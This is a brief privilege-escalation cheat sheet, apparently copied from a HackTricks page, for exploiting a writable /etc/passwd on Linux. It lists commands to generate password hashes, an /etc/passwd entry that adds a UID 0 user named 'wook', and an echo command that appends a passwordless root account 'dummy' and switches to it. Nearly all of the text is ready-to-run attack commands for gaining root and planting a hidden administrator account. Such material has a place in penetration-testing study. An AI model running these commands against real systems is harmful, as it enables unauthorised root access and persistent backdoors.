https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-etcpasswd

Generate a password with one of the following commands

#1 
openssl passwd -1 -salt wook wook
openssl passwd -1 wook

#2 
mkpasswd -m SHA-512 wook

#3 
python2 -c 'import crypt; print crypt.crypt("wook", "$6$salt")'

Then add the user with the generated password

# Then add the user wook and add the generated password
wook:$GENERATED_PWD:0:0:wook:/root:/bin/bash

# change user to wook
su wook

Alternatively, you can use the following lines to add a dummy user without a password

echo 'dummy::0:0::/root:/bin/bash' >> /etc/passwd
su - dummy